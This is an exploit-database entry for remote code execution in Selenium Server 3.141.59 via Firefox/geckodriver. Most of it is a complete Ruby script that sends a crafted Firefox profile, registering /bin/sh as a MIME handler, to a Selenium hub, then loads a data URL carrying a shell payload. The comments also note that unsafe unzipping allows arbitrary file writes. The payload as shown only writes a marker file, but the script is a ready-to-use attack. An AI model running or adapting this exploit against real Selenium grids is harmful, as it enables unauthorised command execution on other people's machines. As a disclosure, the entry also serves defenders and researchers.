Selenium 3.141.59 - Remote Code Execution (Firefox/geckodriver)

# Exploit Title: Selenium 3.141.59 - Remote Code Execution (Firefox/geckodriver)
# Date: 2021-05-27
# Exploit Author: Jon Stratton
# Vendor Homepage: https://www.selenium.dev/
# Software Link: https://selenium-release.storage.googleapis.com/3.141/selenium-server-standalone-3.141.59.jar
# Version: 3.141.59
# Tested on: Selenium Server 3.141.59, webdriver, geckodriver 
#
# https://github.com/JonStratton/selenium-node-takeover-kit/blob/master/examples/selenium_node_rce.rb
#
# When Selenium runs, it creates a custom profile (in /tmp/ for Linux) on the Node. This profile then gets overwritten by a possible overlay that is sent in a base64 encoded zip file when a Selenium session is started.
#
# One of the config file can be used to set a custom handler (which do things like, for instance, associates “mailto:blah@blah.com” to your email client). In this example, a new handler is created for “application/sh” that will execute the argument with “/bin/sh”
#
# Side notes, this profile doesn't safely unzip. So this can be used to write files to the file-system.
#
# The Payload is encoded and embedded as inline data associated with the "application/sh" mime type.

#!/usr/bin/env ruby

require 'optparse'
require 'net/http'
require 'json'
require 'uri'
require 'zip'
require 'base64'

options = {}
OptionParser.new do |opts|
  opts.banner = 'Usage: example.rb [options]'
  opts.on('-hURL', '--hubURL', 'Selenium Hub URL') do |h|
    options[:hub] = h
  end
  opts.on('--help', 'Prints this help') do
    puts opts
    exit
  end
end.parse!

hub_url = options[:hub]

payload = 'rm -rf $0
echo success > /tmp/selenium_node_rce.txt'

# Build profile zip file.
stringio = Zip::OutputStream::write_buffer do |io|
  # Create a handler for shell scripts
  io.put_next_entry("handlers.json")
  io.write('{"defaultHandlersVersion":{"en-US":4},"mimeTypes":{"application/sh":{"action":2,"handlers":[{"name":"sh","path":"/bin/sh"}]}}}')
end
stringio.rewind
encoded_profile = Base64.strict_encode64(stringio.sysread)

# Create session with our new profile
newSession = {:desiredCapabilities => {:browserName => "firefox", :firefox_profile => encoded_profile}}

uri = URI.parse(hub_url)
http = Net::HTTP.new(uri.host, uri.port)

# Start session with encoded_profile and save session id for cleanup.
uri = URI.parse("%s/session" % [hub_url])
request = Net::HTTP::Post.new(uri.request_uri, 'Content-Type' => 'application/json')
request.body = JSON.generate(newSession)
response = http.request(request)
sessionId = JSON.parse(response.body)["value"]["sessionId"]

# URL. 
data_url = "data:application/sh;charset=utf-16le;base64,%s" % [Base64.encode64(payload)]
uri = URI.parse("%s/session/%s/url" % [hub_url, sessionId])
request = Net::HTTP::Post.new(uri.request_uri, 'Content-Type' => 'application/json')
request.body = JSON.generate(:url => data_url)
response = http.request(request)

# End session(not working)
uri = URI.parse("%s/session/%s" % [hub_url, sessionId])
request = Net::HTTP::Delete.new(uri.request_uri)
http.request(request)

exit